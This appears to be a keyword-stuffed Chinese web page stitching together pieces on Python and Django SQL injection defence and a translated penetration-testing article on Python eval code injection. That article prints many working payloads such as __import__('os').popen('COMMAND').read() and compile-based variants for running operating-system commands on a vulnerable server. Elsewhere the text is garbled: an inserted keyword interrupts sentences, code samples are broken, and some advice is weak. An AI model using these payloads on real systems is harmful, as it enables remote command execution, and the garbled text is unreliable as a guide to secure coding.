python防注入函数 mysql防注入函数

【Python基础】django如何防止sql注入?python Django 防止SQL注入
先看看那种容易被注入的SQL
id = 11001
sql = """
SELECT
id,
name,
age
FROM
student
WHERE
id = """ id """
"""
cursor = connection.cursor()
try:
cursor.execute(sql)
result = cursor.fetchall()
for result1 in result:
// 代码块
pass
finally:
cursor.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
一般来说写SQL语句在程序中,若有where条件一般都可能会去直接拼接,到那时这种方式容易被SQL注入,首先说明下什么是SQL的注入,简单来说就是python防注入函数你写的SQL被别人在页面上拼接了SQL 。比如拼接1=1这种条件,如果登录接口被注入1=1那么就可以随意进入python防注入函数你的程序了 。所以才要防止SQL的注入 。
下面再来看看防止SQL的注入
id = 11001
params = []
sql = """
SELECT
id,
name,
age
FROM
student
WHERE
id = %s
"""
params.append(id)
cursor = connection.cursor()
try:
cursor.execute(sql, params)
result = cursor.fetchall()
for result1 in result:
// 代码块
pass
finally:
cursor.close()
python防注入函数我们把直接拼接的条件变量放入集合再把集合带入执行SQL的方法 , 就可以避免被注入的风险,在SQL的条件中使用%s进行站位,要注意的是这个%s是有顺序的,比如说上面这个SQL后面在跟一个条件name=%s那么下面的params集合也要多加一个元素params.append(name)这个时候name是在id后面的在集合中 。这样可以一一对应,但如果要是把params.append(name)写在了params.append(id)前面SQL执行就会出现id=name and name = id 的条件就乱了 , 甚至还会报错 。
使用connection完毕之后一定要记得close,connection是django.db中的 , 导入不要导入错了 。
python怎么防止sql注入最简单最容易python防注入函数的是限制用户输入 。简单点的就是不允许用户输入单引号 和 --python防注入函数,因为单引号号--在SQL中都是影响执行的python防注入函数 , 两种方式一种是在JSP中加判断 。
另一种是在SQL拼接是对单引号和--等进行转义 , 例如python防注入函数:str = str.replace("'", "''");
等等,还有其他很多方法 。
python函数参数match是正则表达式匹配后的结果,match.group(1)就是返回结果1 。
import re
m = re.search('(^. ?)\n(. ?$)', 'print "111"\nprint "222"')
print m.group(1)#print "111"eval()一般是用来执行字符串代码,也就是命令注入 。
其中的参数code:就是要执行的代码,比如print
"111"
其中的参数scope:是code执行范围的字典.
【python防注入函数 mysql防注入函数】由于匹配的字符串代码经常有格式对齐等问题,所以加一个try
except来捕捉 。
exec跟eval类似,可以执行代码,但是只是一个语法,没有返回值 。
exec
code
in
scope就是执行code作用范围为scope字典
如何使用python查找网站漏洞如果python防注入函数你python防注入函数的Web应用中存在Python代码注入漏洞python防注入函数的话 , 攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码python防注入函数了 。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了 。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire) 。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞 。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容 。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容 。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种 。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环 , 直接使用全局函数“__import__”就可以了 。具体代码如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁 , 既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下 , 你甚至都不需要使用compile了 。具体代码如下所示:
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码 。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval(compile('for x in range(1): import time time.sleep(20)','a','single'))param=eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))param=eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))param=__import__('os').popen('COMMAND').read()接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用 。在文章的结尾 , 我将会给大家演示一款工具 , 这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间 。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段 , 感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下 。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用 。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用 。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py 。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中 。相关操作指令如下所示:
git cloneVulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首 。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查 , 或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方 。除此之外 , 如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞 。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞 。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在 。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西 。找到之后 , 我再想办法将毫无新意的PoC开发成一个有意义的exploit 。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的 。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞 , 那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro 。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的 。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用 。接下来,使用Burp Suite Pro来对其进行扫描 。扫描结果如下图所示:
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后 , 服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回 。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报 。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法 。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数 。当然了,应该还有很多其他的函数同样可以实现我们的目标 。
因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法 。当然了,我们也可以使用其他的方法来实现 , 例如使用全局函数“__import__” 。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了 。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中 , 有时全局函数“__import__”会不起作用 。在这种情况下,我们就要使用for循环了 。相关代码如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数 , 那么你就可以直接在浏览器中利用这个漏洞了:
\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(;)和空格( )进行手动编码 。除此之外,你也可以直接使用我们所开发的工具 。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具 。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping 。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南 。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单 。除此之外,它的使用方法跟sqlmap基本相同 。
Python常见的漏洞都有什么?首先是解析XML漏洞 。如果您的应用程序加载和解析XML文件,那么您可能正在使用XML标准库模块 。有一些针对XML的常见攻击 。大多数是DoS风格(旨在破坏系统而不是窃取数据) 。这些攻击很常见,尤其是在解析外部(即不受信任的)XML文件时 。一种这样的攻击是“十亿笑”,因为加载的文件包含许多(十亿)“笑” 。您可以加载XML实体文件,当XML解析器尝试将此XML文件加载到内存中时,它将消耗许多GB的内存 。
其次是SQL注入漏洞 。SQL注入漏洞的原因是用户输入直接拼接到SQL查询语句中 。在pythonweb应用程序中,orm库一般用于数据库相关的操作 。例如,Flask和Tornado经常使用SQLAlchemy,而Django有自己的orm引擎 。.但是如果不使用ORM,直接拼接SQL语句,就有SQL注入的风险 。
再者是输入函数漏洞 。在Python2的大量内置特性中,输入是一场彻底的安全灾难 。一旦调用它 , 从标准输入读取的任何内容都会立即解析为Python代码,显然,除非脚本的标准输入中的数据完全可信 , 否则决不能使用输入函数 。Python2文档建议将rawinput作为安全的替代方案 。在Python3中,input函数等价于rawinput,一劳永逸地解决了这个陷阱 。
要知道SSTI是ServerSideTemplateInjection,是Web开发中使用的模板引擎 。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以相应分离 , 代码复用变得简单,开发效率也提高了 。模板在服务器端使用,数据由模板引擎渲染,然后传递给用户,可以为特定用户/特定参数生成对应的页面 。我们可以对比一下百度搜索,搜索不同词条得到的结果页面是不一样的,但是页面的边框基本是一样的 。
动态Python代码注入怎么做才能预防安全性比如说, 文件处理时, 经常习惯取个变量path, 但又经常from os import path
可以这么用:
import os.path
# import os.path后, 使用时, 需要完整输入os.path
# 相对于import os总模块而言, import os.path能避免无用的引入
path = os.path.join("/tmp", filename)
关于python防注入函数和mysql防注入函数的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站 。

    推荐阅读